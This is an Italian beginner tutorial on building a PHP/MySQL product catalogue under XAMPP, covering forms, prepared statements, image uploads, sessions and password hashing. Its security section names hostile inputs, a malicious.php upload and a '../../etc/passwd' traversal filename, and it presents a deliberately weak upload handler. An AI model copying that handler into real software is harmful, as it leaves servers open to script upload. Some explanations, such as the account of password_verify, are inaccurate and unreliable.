$conn = new mysqli(...): Crea una "linea telefonica" con il database e la salva nella variabile $conn. Ogni volta che vorrai parlare con il database, userai questa linea.$conn->connect_error: Controlla se la linea telefonica funziona. Se Γ¨ NULL (nessun errore), la connessione Γ¨ attiva. Se contiene un messaggio, qualcosa Γ¨ andato storto e la linea non Γ¨ stata aperta.die("..."): Significa "muori qui". Se non riesci a collegarti al database (la linea Γ¨ caduta), non ha senso continuare. Mostro l'errore e fermo tutto.La password Γ¨ sbagliata. Su XAMPP la password di root Γ¨ vuota. Prova a cambiare $password = ""; (con le virgolette vuote). Se hai cambiato la password in phpMyAdmin, metti quella.
Questa pagina Γ¨ come un modulo cartaceo che l'utente compila. Quando clicca "Salva", i dati vengono inviati a inserimento.php.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Prodotto</title>
</head>
<body>
<h2>π Inserisci Nuovo Prodotto</h2>
<form action="inserimento.php" method="post">
<label>Nome prodotto:</label><br>
<input type="text" name="nome" required><br><br>
<label>Descrizione:</label><br>
<textarea name="descrizione" rows="3" cols="40"></textarea><br><br>
<label>Prezzo (β¬):</label><br>
<input type="number" name="prezzo" step="0.01" required><br><br>
<label>Nome file immagine (es: laptop.jpg):</label><br>
<input type="text" name="immagine" placeholder="Inserisci il nome del file"><br><br>
<input type="submit" value="πΎ Salva Prodotto">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
action="inserimento.php": Dopo aver compilato, i dati vengono mandati a questo file PHP.method="post": I dati viaggiano nel corpo della richiesta (non appaiono nell'URL). Si usa per operazioni che modificano i dati (come inserire). β οΈ Non sono crittografati di default.name="nome": Questo Γ¨ FONDAMENTALE. Γ il "nome" che userΓ PHP per recuperare il valore. Quando l'utente scrive "Laptop" nel campo, in PHP potrai prendere $_POST['nome'] e otterrai "Laptop".required: Il campo non puΓ² essere lasciato vuoto (il browser lo controlla da solo).Il campo "Nome file immagine" non carica il file! Devi prima copiare manualmente l'immagine (es: laptop.jpg) nella cartella immagini del progetto, poi scrivere qui solo il nome del file.
Questo file fa tre cose:
$_POST)connessione.php)prodotti<?php
// 1. APRO la "porta" del database
require_once 'connessione.php';
// 2. PRENDO i dati che l'utente ha inviato dal form
$nome = $_POST['nome']; // Es: "Laptop Gaming"
$descrizione = $_POST['descrizione']; // Es: "16GB RAM, SSD 512GB"
$prezzo = $_POST['prezzo']; // Es: 1299.99
$immagine = $_POST['immagine']; // Es: "laptop.jpg" (nome dell'immagine)
// 3. SE l'utente ha scritto un nome immagine (es: laptop.jpg),
// COSTRUISCO il percorso completo per accedere all'immagine e visualizzarla
if (!empty($immagine)) {
$immagine = "immagini/" . $immagine; // da laptop.jpg ottengo immagini/laptop.jpg
} else {
$immagine = NULL; // Se non ha scritto niente, lascio il campo vuoto (NULL)
}
// 4. PREPARO la query con SEGNAPOSTI (?) - METODO SICURO!
$stmt = $conn->prepare(
"INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
VALUES (?, ?, ?, ?)"
);
// 5. "LEGO" i valori veri ai segnaposto
// "ssds" = stringa, stringa, double, stringa
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
// 6. ESEGUO la query: i dati vengono salvati nel database!
$stmt->execute();
// 7. Mostro un messaggio di conferma all'utente
echo "<h2>β
Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>β Torna alla home</a></p>";
// 8. Chiudo tutto
$stmt->close();
$conn->close();
?>
Ora creiamo una pagina per cercare i prodotti per nome. La ricerca Γ¨ una operazione di lettura, quindi usiamo method="get" (i dati appaiono nell'URL).
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Cerca Prodotti</title>
</head>
<body>
<h2>π Cerca Prodotti</h2>
<form action="ricerca.php" method="get">
<label>Cerca per nome:</label>
<input type="text" name="nome" placeholder="es: laptop, mouse...">
<input type="submit" value="π Cerca">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
<?php
require_once 'connessione.php';
// 1. PRENDO il termine di ricerca dall'URL
$nome = $_GET['nome']; // Es: ?nome=laptop $nome = "laptop"
// 2. PREPARO la query (con segnaposto per sicurezza)
$stmt = $conn->prepare(
"SELECT * FROM prodotti WHERE nome = ?"
);
$stmt->bind_param("s", $nome); // "s" = stringa
// 3. ESEGUO la query
$stmt->execute();
$result = $stmt->get_result(); // Ottengo i risultati
// 4. MOSTRO i risultati
echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>";
if ($result->num_rows > 0) {
echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>";
// Intestazione tabella
echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
echo "<tr style='background-color: #3498db; color: white;'>";
echo "<th>ID</th><th>Immagine</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th></tr>";
// 5. CICLO tutti i risultati (una riga per prodotto)
while($row = $result->fetch_assoc()) {
echo "<tr>";
echo "<td>" . $row["id"] . "</td>";
// Se c'Γ¨ l'immagine, la mostro, altrimenti "N/D"
if (!empty($row["immagine"])) {
echo "<td><img src='" . htmlspecialchars($row["immagine"]) . "' width='80'></td>";
} else {
echo "<td>N/D</td>";
}
echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
echo "<td>β¬" . $row["prezzo"] . "</td>";
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>β οΈ Nessun prodotto trovato.</p>";
}
// Link per nuova ricerca
echo "<p><a href='ricerca.html'>π Nuova ricerca</a> | ";
echo "<a href='index.html'>Β Home</a></p>";
// Chiudi le connessioni
$stmt->close();
$conn->close();
?>
echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
echo "<td>β¬" . $row["prezzo"] . "</td>";
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>β οΈ Nessun prodotto trovato.</p>";
}
echo "<p><a href='ricerca.html'>π Nuova ricerca</a> | ";
echo "<a href='index.html'>Β Home</a></p>";
$stmt->close();
$conn->close();
?>
In questo progetto NON salviamo le immagini nel database (non usiamo il tipo BLOB). PerchΓ©?
"immagini/laptop.jpg")Devi creare manualmente questa cartella dentro C:\xampp\htdocs\progetto\.
C:\xampp\htdocs\progetto\immagini\laptop.jpg
C:\xampp\htdocs\progetto\immagini\mouse.png
C:\xampp\htdocs\progetto\immagini\...
foto.jpg) dentro la cartella immagini del progetto.foto.jpg"immagini/" . "foto.jpg" β "immagini/foto.jpg""immagini/foto.jpg" nel database (nella colonna immagine)<img src="..."><img src="immagini/foto.jpg"> e va a prendersi il file dalla cartella immaginiDopo aver caricato il database, creato i file index.html, inserimento.html, inserimento.php,ricerca.html, ricerca.php (che ricordo devono essere salvati nella sottocartella progetto della cartella htdocs), segui questi passi per essere sicuro che il tuo progetto sia corretto e funzionante:
C:\xampp\htdocs\progetto\immagini\
prova.jpg)http://localhost/progetto/inserimento.htmlhttp://localhost/progetto/ricerca.htmlHai creato un'applicazione web completa che:
La porta 80 Γ¨ giΓ usata da un altro programma (spesso Skype, TeamViewer o IIS).
C:\xampp\apache\conf\httpd.confListen 80 e cambia in Listen 8080http://localhost:8080/progetto/Cause comuni:
netstat -ano | findstr :3306
Vedi quale processo usa la porta e fermalo.
ibdata1 in C:\xampp\mysql\data\ si Γ¨ corrotto. Soluzione:
backup (sempre in data) e rinominarla in dataSe vedi una pagina bianca invece del codice, significa che ci sono errori PHP che non vengono mostrati.
Per abilitare la visualizzazione degli errori:
C:\xampp\php\php.inidisplay_errors e cambia in display_errors = Onerror_reporting e imposta error_reporting = E_ALLSELECT * FROM prodotti)$row["nome"]) invece che per posizione.Scenario: Inserimento di un prodotto con immagine
inserimento.html e compila il form (nome, descrizione, prezzo, nome file immagine)inserimento.phpinserimento.php riceve i dati in $_POST"immagini/" . $_POST['immagine']? (segna posti)bind_param("ssds", ...)Scenario: Ricerca di prodotti
ricerca.html e scrive "laptop"ricerca.php?nome=laptopricerca.php legge $_GET['nome']SELECT * FROM prodotti WHERE nome = ?bind_param("s", $nome)while($row = $result->fetch_assoc())<img src="...">Hai imparato a:
Prossimi passi: Potresti aggiungere la modifica dei prodotti, la cancellazione, il caricamento diretto delle immagini, la paginazione, ecc.
Nella versione base, l'utente doveva copiare manualmente l'immagine nella cartella immagini e poi scriverne il nome nel form. Ora rendiamo l'inserimento piΓΉ semplice per l'utente: l'utente puΓ² selezionare un'immagine direttamente dal proprio computer con un clic, e il server si occuperΓ di salvarla automaticamente nella cartella immagini.
enctype="multipart/form-data" (obbligatorio per caricamento)<input type="file" name="immagine">$_FILES invece di $_POST per gestire il fileimmaginiIl form deve avere l'attributo enctype="multipart/form-data" e un campo di tipo file:
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Prodotto</title>
</head>
<body>
<h2>π Inserisci Nuovo Prodotto</h2>
<!-- ATTENZIONE: enctype Γ¨ OBBLIGATORIO per caricamento file -->
<form action="inserimento.php" method="post" enctype="multipart/form-data">
<label>Nome prodotto:</label><br>
<input type="text" name="nome" required><br><br>
<label>Descrizione:</label><br>
<textarea name="descrizione" rows="3" cols="40"></textarea><br><br>
<label>Prezzo (β¬):</label><br>
<input type="number" name="prezzo" step="0.01" required><br><br>
<label>Immagine prodotto:</label><br>
<input type="file" name="immagine">
<br><br>
<input type="submit" value="πΎ Salva Prodotto">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
Con type="file" il browser mostra un pulsante "Sfoglia" che permette di scegliere un file dal computer. L'utente non deve piΓΉ copiare manualmente il file nella cartella immagini!
Ora il PHP deve:
$_POST$_FILES (non da $_POST)immagini con un nome univoco<?php
require_once 'connessione.php';
// 1. Dati normali dal form
$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];
// 2. Gestione caricamento file
$immagine = NULL; // Valore di default: nessuna immagine
// Controllo se Γ¨ stato caricato un file senza errori
if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {
// 2.1. Recupero informazioni sul file
$tmp_name = $_FILES['immagine']['tmp_name']; // Percorso temporaneo sul server
$nome_originale = $_FILES['immagine']['name']; // Nome originale (es: "foto.jpg")
// 2.2. Estraggo l'estensione dal nome originale
// pathinfo() analizza il nome del file e restituisce informazioni come estensione, directory, ecc.
// PATHINFO_EXTENSION specifica che vogliamo solo l'estensione (es: "jpg", "png", "gif")
// Questo Γ¨ importante: memorizziamo l'estensione del file originale perchΓ© quando generiamo
// un nuovo nome univoco, dobbiamo mantenere l'estensione originale, altrimenti il file
// perderebbe il suo tipo e potrebbe non essere piΓΉ visualizzabile/apribile correttamente
$estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);
// 2.3. Creo un nome UNIVOCO per evitare conflitti
// e aggiungo l'estensione del file originale
// (memorizzata nell'istruzione precedente)
// uniqid('img_', true) genera un identificativo unico basato sull'orario corrente
// - 'img_' Γ¨ un prefisso per riconoscere facilmente i file caricati
// - true rende il nome ancora piΓΉ unico, quasi impossibile che due file abbiano lo stesso nome
// Questo previene: (1) sovrascritture se due utenti caricano file con lo stesso nome,
// (2) attacchi di sicurezza con nomi file dannosi, (3) problemi con caratteri speciali
$nome_univoco = uniqid('img_', true) . '.' . $estensione;
// 2.4. Percorso completo dove salvare il file
$destinazione = 'immagini/' . $nome_univoco;
// 2.5. Sposto il file dalla cartella temporanea alla cartella definitiva
// e controllo se lo spostamento Γ¨ avvenuto con successo
if (move_uploaded_file($tmp_name, $destinazione)) {
// Se lo spostamento ha successo, salvo il percorso nel DB
$immagine = $destinazione;
} else {
// Se fallisce, mostro un errore (ma potrei anche ignorarlo e continuare senza immagine)
echo "<p class='warning'>β οΈ Attenzione: impossibile salvare l'immagine.</p>";
}
}
// 3. Inserimento nel database (con o senza immagine)
$stmt = $conn->prepare(
"INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
VALUES (?, ?, ?, ?)"
);
// "ssds" = stringa, stringa, double, stringa (NULL se $immagine Γ¨ NULL)
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
$stmt->execute();
// 4. Messaggio di conferma
echo "<h2>β
Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>β Torna alla home</a></p>";
$stmt->close();
$conn->close();
?>
$_FILES['immagine']: Contiene tutte le informazioni sul file caricato (nome temporaneo, nome originale, dimensione, ecc.)UPLOAD_ERR_OK: Costante che vale 0, significa "nessun errore"pathinfo(): Estrae informazioni dal percorso del file (in questo caso l'estensione)uniqid(): Genera un ID univoco basato sul tempo corrente (evita che due file con lo stesso nome si sovrascrivano)move_uploaded_file(): L'unica funzione SICURA per spostare un file caricato. Verifica che il file provenga davvero da un caricamento HTTP.Il codice usa uniqid() che genera un nome file casuale, quindi alcuni problemi sono giΓ prevenuti:
img_5f7c8d9e.jpg)immagini/), non usa il nome originalePerΓ² mancano ancora questi controlli di sicurezza:
.php rinominato come .jpg β serve controllo MIME typeβ
Per un progetto didattico locale (XAMPP sul tuo PC) questo codice va bene.
β Per un sito pubblico, aggiungi i controlli della sezione 10 (Miglioramenti di Sicurezza).
immagini in C:\xampp\htdocs\progetto\http://localhost/progetto/inserimento.htmlhttp://localhost/progetto/ricerca.html e cerca il prodotto: dovresti vedere l'immagine nella tabellaOra il tuo progetto permette di caricare immagini direttamente dal computer, senza bisogno di copiarle manualmente nella cartella immagini.
Il codice mostrato sopra funziona, ma Γ¨ vulnerabile. Questa sezione spiega COSA aggiungere per renderlo piΓΉ sicuro. Non Γ¨ obbligatorio per il progetto didattico, ma Γ¨ importante saperlo per quando costruirai siti reali.
malicious.php e poi eseguirlo visitando http://localhost/progetto/immagini/malicious.php../../etc/passwd e sovrascrivere file di sistemaNon fidarsi dell'estensione del file! Un attacker puΓ² rinominare script.php in foto.jpg. Dobbiamo verificare il tipo MIME (che Γ¨ piΓΉ affidabile).
// Dopo aver verificato UPLOAD_ERR_OK, aggiungi:
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($_FILES['immagine']['type'], $allowed_types)) {
die("β Tipo di file non consentito. Solo immagini JPG, PNG, GIF, WebP.");
}
Il browser invia il tipo MIME (es: image/jpeg). β οΈ Questo valore viene dal browser e puΓ² essere falsificato. Per un controllo piΓΉ rigoroso in produzione si userebbe finfo_file() che analizza il contenuto reale del file. Per il nostro progetto didattico, il controllo sull'estensione e sul MIME type del browser Γ¨ sufficiente.
Limita la dimensione per evitare che un utente carichi file troppo grandi che potrebbero intasare il disco.
// 2 MB (2 * 1024 * 1024 byte)
$max_size = 2 * 1024 * 1024;
if ($_FILES['immagine']['size'] > $max_size) {
die("β File troppo grande. Massimo 2 MB.");
}
Usa uniqid() per generare un nome file casuale e unico. Questo risolve DUE problemi in una volta:
// Genera un nome unico e sicuro
$nome_univoco = uniqid('img_', true) . '.' . $estensione;
$destinazione = 'immagini/' . $nome_univoco;
move_uploaded_file($tmp_name, $destinazione);
immagini/), non il nome originaleβ NON serve preg_replace() se usi uniqid() perchΓ© il nome originale del file non viene mai usato!
Se per caso un file .php viene caricato nella cartella immagini, potrebbe essere eseguito se qualcuno visita l'URL. Per bloccare questa possibilitΓ , crea un file .htaccess dentro C:\xampp\htdocs\progetto\immagini\ con questo contenuto:
# Blocca l'esecuzione di script PHP in questa cartella # Sintassi Apache 2.4+ (XAMPP moderno) <FilesMatch "\.php"> Require all denied </FilesMatch> # Blocca anche altri file eseguibili (opzionale) <FilesMatch "\.(pl|py|jsp|asp|sh|bash)$"> Require all denied </FilesMatch>
Γ un file di configurazione di Apache che dice: "Nella cartella immagini, nega l'accesso a tutti i file con estensione .php". In questo modo, anche se un file hacker.php viene caricato, non potrΓ essere eseguito.
La pratica più sicura è salvare i file fuori dalla radice web (cioè non in C:\xampp\htdocs\). In questo modo, nessun file caricato potrà mai essere eseguito direttamente via web.
// 1. Sposta la cartella immagini FUORI da C:\xampp\htdocs\ // Es: C:\xampp\uploads\ invece di C:\xampp\htdocs\progetto\immagini\ // 2. Modifica il percorso in PHP $destination = '../uploads/' . $nome_univoco; // Nota: .. risale di una cartella // 3. Per visualizzare l'immagine, crea uno script "leggi_immagine.php" che: // - Riceve l'ID del prodotto // - Legge il percorso dal database // - Legge il file dal disco (fuori da C:\xampp\htdocs\) // - Lo invia al browser con header("Content-Type: image/jpeg"); // - Nel HTML userai: <img src="leggi_immagine.php?id=123">
Questo metodo Γ¨ piΓΉ sicuro ma piΓΉ complesso. Per un progetto didattico locale, la cartella immagini dentro C:\xampp\htdocs\progetto\ con il file .htaccess Γ¨ sufficiente.
Ecco come sarebbe inserimento.php con TUTTI i controlli di sicurezza (da studiare, non da usare nel progetto base):
<?php
require_once 'connessione.php';
$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];
$immagine = NULL;
if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {
// 1. CONTROLLO DIMENSIONE MASSIMA (2 MB)
$max_size = 2 * 1024 * 1024;
if ($_FILES['immagine']['size'] > $max_size) {
die("β File troppo grande. Massimo 2 MB.");
}
// 2. CONTROLLO TIPO MIME (solo immagini)
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($_FILES['immagine']['type'], $allowed_types)) {
die("β Tipo di file non consentito. Solo immagini JPG, PNG, GIF, WebP.");
}
// 3. PULIZIA NOME FILE (rimuovo caratteri pericolosi)
$nome_originale = $_FILES['immagine']['name'];
$nome_originale = preg_replace("/[^A-Z0-9._-]/i", "_", $nome_originale);
// 4. ESTRAZIONE ESTENSIONE
$estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);
// 5. NOME UNIVOCO (hash del file + timestamp)
$tmp_name = $_FILES['immagine']['tmp_name'];
$hash = md5_file($tmp_name) . time();
$nome_univoco = $hash . '.' . $estensione;
// 6. PERCORSO DESTINAZIONE
$destinazione = 'immagini/' . $nome_univoco;
// 7. SPOSTAMENTO SICURO
if (!move_uploaded_file($tmp_name, $destinazione)) {
die("β Errore nel salvataggio del file.");
}
$immagine = $destinazione;
}
// Inserimento nel DB (come prima)
$stmt = $conn->prepare(
"INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
VALUES (?, ?, ?, ?)"
);
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
$stmt->execute();
echo "<h2>β
Prodotto salvato con successo!</h2>";
// Messaggio di conferma con i dettagli del prodotto
echo "<p><strong>Nome:</strong> " . htmlspecialchars($nome) . "</p>";
echo "<p><strong>Descrizione:</strong> " . htmlspecialchars($descrizione) . "</p>";
echo "<p><strong>Prezzo:</strong> β¬" . number_format($prezzo, 2) . "</p>";
echo "<p><strong>Immagine:</strong> " . htmlspecialchars($immagine) . "</p>";
echo "<p><a href='elenco.php'>Vedi tutti i prodotti</a> | <a href='carica.php'>Carica un altro prodotto</a></p>";
// Chiudi la connessione
$stmt->close();
$conn->close();
?>
| Controllo | PerchΓ© Γ¨ importante | Come si fa (codice) |
|---|---|---|
| Dimensione massima | Evita che un utente carichi file giganti che riempiono il disco | if ($_FILES['size'] > $max_size) die("..."); |
| Tipo MIME | Evita che vengano caricati file pericolosi (.php, .exe, ecc.) | in_array($_FILES['type'], $allowed_types) |
| Nome file univoco | Evita caratteri pericolosi, path traversal e conflitti tra file |
uniqid('img_', true) . '.' . $estensione
π Spiegazione:
// Con uniqid():
$nuovo_nome = uniqid() . '_' . $nome_originale;
// Risultato: "65f3a2b8e4f12_foto.jpg"
// Con md5_file + time():
$hash = md5_file($tmp_name) . '_' . time();
$nuovo_nome = $hash . '_' . $nome_originale;
// Risultato: "a3c5f8e9d2b1a4f6e8c0d3b5a7f9e1c2_1709876543_foto.jpg"
|
| .htaccess | Blocca l'esecuzione di file PHP nella cartella immagini | File .htaccess con Deny from all per .php |
| Cartella esterna | I file caricati non sono accessibili direttamente via web | Salva fuori da C:\xampp\htdocs\ e usa script per leggerli |
Per il tuo progetto didattico locale, puoi usare la versione semplificata (con minori controlli) perchΓ©:
Quando costruirai un sito vero, devi implementare tutti i controlli di sicurezza visti in questa sezione.
Leggi questo prima! Questi concetti sono fondamentali per capire il resto.
$_SESSION['username']). I dati sono sul server, non nel browser!
$2y$10$92IXUNpkjO0r...). Γ one-way: puoi creare l'hash da una password, ma non tornare indietro.
Le sessioni risolvono un problema fondamentale del web: HTTP Γ¨ "senza memoria". Ogni pagina che visiti Γ¨ isolata dalle altre. Senza sessioni, dovresti reinserire username e password in ogni pagina del sito!
Il problema: HTTP Γ¨ "senza memoria". Ogni richiesta Γ¨ indipendente dalle altre.
Cosa succederebbe:
dashboard.php?username=mario&password=123 β PERICOLOSO! (chiunque vede l'URL ruba le tue credenziali)In sintesi: Senza sessioni, il web sarebbe inutilizzabile per qualsiasi applicazione che richiede "memoria" tra una pagina e l'altra.
La soluzione: Il server usa sessioni + cookie per "ricordarsi" di te.
Cosa succede:
PHPSESSID=abc123) β Γ¨ il "numero dell'armadietto"In sintesi: Con sessioni e cookie, il server ti riconosce ad ogni click senza dover reinserire i dati. Γ come avere un badge che ti identifica in tutto il palazzo!
Nelle sezioni precedenti abbiamo creato la tabella prodotti. Ora aggiungiamo la tabella utenti per gestire login e sessioni.
Apri http://localhost/phpmyadmin, seleziona il database web_app dalla colonna di sinistra, clicca sulla scheda "SQL" in alto e copia/incolla ed esegui il seguente codice:
-- Usa il database web_app (giΓ creato in precedenza) USE web_app; -- Crea la tabella utenti CREATE TABLE IF NOT EXISTS utenti ( id INT AUTO_INCREMENT PRIMARY KEY, -- Numero unico che si assegna da solo username VARCHAR(50) NOT NULL UNIQUE, -- Nome utente (deve essere unico) password VARCHAR(255) NOT NULL, -- Password criptata (hash) tipo ENUM('acquirente', 'venditore') NOT NULL -- Tipo di utente ); -- Inserisce utenti di prova -- La password per tutti Γ¨: password123 INSERT INTO utenti (username, password, tipo) VALUES ('mario_venditore', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'venditore'), ('luigi_venditore', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'venditore'), ('anna_acquirente', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'acquirente'), ('giovanni_acq', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'acquirente'); -- π‘ Nota: Tutti usano lo stesso hash valido e verificato. -- Se vuoi generare hash nuovi: esegui echo password_hash('password123', PASSWORD_DEFAULT);
password123 (puΓ² inserire prodotti)password123 (puΓ² inserire prodotti)password123 (puΓ² solo cercare)password123 (puΓ² solo cercare)-- VERSIONE DEFINITIVA E COMPLETA della tabella prodotti ALTER TABLE prodotti ADD COLUMN venditore VARCHAR(50) NOT NULL AFTER immagine; -- Oppure se vuoi ricrearla da zero completa: CREATE TABLE IF NOT EXISTS prodotti ( id INT AUTO_INCREMENT PRIMARY KEY, nome VARCHAR(50) NOT NULL, descrizione TEXT, prezzo DECIMAL(6,2) NOT NULL, immagine VARCHAR(255), venditore VARCHAR(50) NOT NULL );
C:\xampp\htdocs\progetto\index.html β Pagina pubblica (menu principale) C:\xampp\htdocs\progetto\login.html β Form per inserire credenziali C:\xampp\htdocs\progetto\login.php β "Portinaio": verifica credenziali e crea sessione C:\xampp\htdocs\progetto\logout.php β Distrugge la sessione (esci) C:\xampp\htdocs\progetto\inserisciUtente.html β Form per registrare nuovi utenti C:\xampp\htdocs\progetto\inserisciUtente.php β Cripta password e salva utente nel DB C:\xampp\htdocs\progetto\dashboard.php β Pagina personale dopo login C:\xampp\htdocs\progetto\inserimento.html β Form inserimento (protetta, solo venditori) C:\xampp\htdocs\progetto\inserimento.php β Salva prodotto (protetta, solo venditori) C:\xampp\htdocs\progetto\ricerca.html β Form ricerca (protetta, tutti gli utenti) C:\xampp\htdocs\progetto\ricerca.php β Esegue ricerca (protetta, tutti) C:\xampp\htdocs\progetto\connessione.php β Connessione al database C:\xampp\htdocs\progetto\immagini\ β Cartella immagini prodotti
Questa Γ¨ la pagina di benvenuto che mostra il menu con i link alle varie funzionalitΓ del progetto.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Catalogo Prodotti - Home</title>
</head>
<body>
<h1>Catalogo Prodotti</h1>
<p><a href="login.html">Accedi</a></p>
<p><a href="inserisciUtente.html">Registrati</a></p>
</body>
</html>
login.html)inserisciUtente.html)β οΈ Nota importante: I link alle pagine protette (inserimento.html per i venditori, ricerca.html per tutti gli utenti) NON sono presenti in index.html perchΓ© queste pagine richiedono il login. Saranno visibili solo nella dashboard dopo aver effettuato l'accesso.
password_hash()<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Nuovo Utente</title>
</head>
<body>
<h2>π Registrati</h2>
<form action="inserisciUtente.php" method="post">
<label for="reg_username">Username:</label><br>
<input type="text" id="reg_username" name="username" required><br><br>
<label for="reg_password">Password:</label><br>
<input type="password" id="reg_password" name="password" required><br><br>
<input type="submit" value=" Registrati">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
<?php
// 1. Include la connessione al database
require_once "connessione.php";
// 2. Recupera i dati dal form
// Verifica che i campi siano compilati
if (empty($_POST['username']) || empty($_POST['password'])) {
die("β Errore: Username e password sono obbligatori.");
}
$username = $_POST['username'];
$password = $_POST['password'];
// 3. Controllo se l'username esiste giΓ (piΓΉ user-friendly)
$stmt_check = $conn->prepare("SELECT id FROM utenti WHERE username = ?");
$stmt_check->bind_param("s", $username);
$stmt_check->execute();
$stmt_check->store_result();
if ($stmt_check->num_rows > 0) {
die("β Errore: L'username '" . htmlspecialchars($username) . "' Γ¨ giΓ in uso. Scegline un altro.");
}
$stmt_check->close();
// 4. Imposta il tipo utente di default
// Tutti i nuovi utenti sono "acquirenti" (non ha senso farlo scegliere all'utente)
$tipo = "acquirente";
// 5. Cripta la password con password_hash()
// PASSWORD_DEFAULT usa l'algoritmo piΓΉ sicuro disponibile
$password_hashata = password_hash($password, PASSWORD_DEFAULT);
// 6. Prepara la query con i segnaposto
$stmt = $conn->prepare(
"INSERT INTO utenti (username, password, tipo) VALUES (?, ?, ?)"
);
// 7. Collega i valori ai segnaposto
// "sss" = stringa, stringa, stringa (username, password hash, tipo)
$stmt->bind_param("sss", $username, $password_hashata, $tipo);
// 8. Esegue l'inserimento
if ($stmt->execute()) {
echo "β
Utente registrato con successo!";
echo '<p><a href="login.html">Vai al login</a></p>';
} else {
echo "β Errore durante la registrazione: " . $stmt->error;
}
// 9. Chiudi la connessione
$stmt->close();
$conn->close();
?>
inserisciUtente.html e inserisciUtente.php nella cartella del progettohttp://localhost/progetto/inserisciUtente.htmlpassword123 Γ¨ stata trasformata con password_hash() in un hash che Γ¨ la password crittografata dal'istruzione PHP password_hash(...) .password_hash('password123', PASSWORD_DEFAULT) tre volte,
otterrai tre hash diversi! Esempio:$2y$10$ABC123xyz$92IXUNpkjO0r...$2y$10$XYZ789abc$vLGpGJk3h8s...$2y$10$QWE456def$mN4oP7qR9s...password_verify().password_verify($password_digitata, $hash_dal_database)
true se la password Γ¨ corretta (i due hash coincidono), false se Γ¨ sbagliata (i due hash sono diversi)."password123").utente1: $2y$10$ABC123xyz... (hash identico)utente2: $2y$10$ABC123xyz... (hash identico)utente3: $2y$10$ABC123xyz... (hash identico)
"password123"utente1: $2y$10$eMKHzsH3hVqF8zN5xK7pL.uX9vR2wQ4tY6sA8bC0dE1fG2hI3jK4mutente2: $2y$10$pLqR7sT9uV1wX3yZ5aB7cO.dE8fG0hI2jK4lM6nO8pQ0rS2tU4vW6utente3: $2y$10$xY1zA3bC5dE7fG9hI1jK3lM.nO5pQ7rS9tU1vW3xY5zA7bC9dE1fG
PASSWORD_DEFAULT Γ¨ una costante di PHP che indica quale algoritmo usare per creare l'hash.$2y$ all'inizio dell'hash)PASSWORD_BCRYPT β Usa esplicitamente bcrypt (uguale a PASSWORD_DEFAULT attualmente)PASSWORD_ARGON2I / PASSWORD_ARGON2ID β Algoritmi piΓΉ moderni (PHP 7.3+)PASSWORD_DEFAULT nei tuoi progetti!
// REGISTRAZIONE (crei l'hash)
$hash = password_hash('password123', PASSWORD_DEFAULT);
// Salvi $hash nel database
// LOGIN (verifichi la password)
if (password_verify('password123', $hash)) {
echo "Password corretta! β
";
} else {
echo "Password sbagliata! β";
}
$2y$10$N9qo8uLOickgx2ZMRZoMye.IjqQBrkHx9Dm0kLlUu.wKxN3
"password123" trasformata in modo sicuro.$2y$10$N9qo8uLOickgx2ZMRZoMye |
IL SALE (22 caratteri casuali) |
.IjqQBrkHx9Dm0kLlUu.wKxN3 |
LA PASSWORD CIFRATA |
